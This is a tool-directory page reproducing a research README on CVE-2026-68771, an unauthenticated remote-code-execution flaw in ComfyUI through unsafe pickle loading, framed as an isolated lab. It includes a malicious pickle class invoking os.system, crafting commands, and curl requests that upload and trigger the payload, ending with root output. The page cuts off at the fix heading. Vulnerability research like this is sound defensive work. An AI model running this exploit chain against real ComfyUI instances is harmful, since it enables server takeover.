Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
comfyui-CVE-2026-68771-PoC — Security research lab — Unauthenticated RCE via insecure deserialization in ComfyUI v0.23.0 (CVSS 9.8). Isolated Docker environment, technical analysis and documentation. | Kitploit
Tools/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationAI Security
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

Security research lab — Unauthenticated RCE via insecure deserialization in ComfyUI v0.23.0 (CVSS 9.8). Isolated Docker environment, technical analysis and documentation.

View Repository
1220 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-68771 — ComfyUI: Unauthenticated RCE via Insecure Deserialization

For educational purposes only. Only use against systems you own or have explicit written authorization to test.


About ComfyUI

ComfyUI is an open-source node-based graphical interface for running AI image and video generation models locally. It allows users to build complex generation pipelines by connecting nodes visually — each node representing an operation such as loading a model, encoding text prompts, sampling, or post-processing images. Its flexibility and support for a wide range of models (Stable Diffusion, Flux, HunyuanVideo, and others) have made it one of the most widely adopted tools in the AI generation community.

The application exposes a local HTTP API on port 8188, through which the frontend communicates with the backend to upload assets and queue generation workflows. While designed for single-user local use, it is common to find ComfyUI instances exposed on internal networks or directly on the internet — in cloud GPU environments, shared research setups, or self-hosted creative studios — often without any additional authentication layer, matching exactly the threat model this vulnerability targets.

At the time of disclosure, ComfyUI had over 65,000 stars on GitHub and an active ecosystem of custom nodes and extensions, many of which introduce additional attack surface beyond the core application.


Executive Summary

CVE-2026-68771 is an insecure deserialization vulnerability (CWE-502) in ComfyUI v0.23.0 that allows an unauthenticated remote attacker to execute arbitrary code on the server. The attack chain combines two unauthenticated endpoints: POST /upload/image to upload a malicious pickle file, and POST /prompt to trigger its deserialization through the LoadTrainingDataset node.

FieldValue
CVECVE-2026-68771
CVSS 3.19.8 (Critical)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Deserialization of Untrusted Data)
Vulnerable versionComfyUI v0.23.0 (and earlier without the fix)
Fixed versionCommit 94ee49b1612824366a8631ea069b2a1fa5c73720
PublishedJuly 31, 2026

Lab Environment

  • Platform: Docker (Kali Linux host)
  • Base image: python:3.11-slim
  • ComfyUI version: v0.23.0 (exact git checkout)
  • PyTorch: 2.5.1+cpu (version prior to the weights_only default change)
  • Network isolation: Port published on 127.0.0.1:8188 only, no external network access
  • Process privileges: uid=0 (root)

Technical Analysis

1. Missing Authentication on API Endpoints

POST /upload/image — server.py, lines 450-453:

@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, lines 927-928:

@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

Neither endpoint implements any access control. Any HTTP client can upload files and queue workflows without authentication.


2. The Vulnerable Call — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, line 1568:

@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

torch.load() without weights_only=True uses Python's pickle protocol to deserialize the file. Pickle is not a data format — it is a Python object serialization protocol that executes the __reduce__ method of any object during deserialization, enabling arbitrary code execution.

The node relied on PyTorch's historical default (weights_only=False), making it the only torch.load call in the entire codebase without the explicit parameter. The rest of the codebase (comfy/utils.py, comfy/sd1_clip.py) already passed it correctly.


3. Full Attack Flow

Attacker (unauthenticated)

[0] CRAFT MALICIOUS PICKLE
    └─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
    └─ PyTorch's torch.save() format wraps it in a valid .pkl container
    └─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Upload shard_0000.pkl (pickle with malicious __reduce__)
    └─ Parameters: type=output, subfolder=cve_test
    └─ Response: 200 OK {"name":"shard_0000.pkl", ...}
    └─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ JSON workflow with LoadTrainingDataset node
    └─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
    └─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Locates shard_0000.pkl in the directory
    └─ torch.load(f) → deserializes the pickle
    └─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE as root
    └─ uid=0(root) gid=0(root) groups=0(root)

Proof of Concept Evidence (lab)

Crafting the Malicious Pickle

The payload exploits Python's pickle reduce protocol. When torch.load() deserializes the file, Python instantiates the object by calling the callable returned by reduce, executing the attacker-controlled command before any application logic runs.

The filename must match the pattern shard_*.pkl — hardcoded in LoadTrainingDataset.execute() as the file discovery filter:

shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

Output:

[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

Vector 1 — Unauthenticated File Upload

curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

Response:

{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200 with no token, no session, no special headers.


Vector 2 — Unauthenticated Workflow Execution

curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

Response:

{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

Result — RCE Confirmed

root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)

The Fix — Commit 94ee49b Diff

Download Tool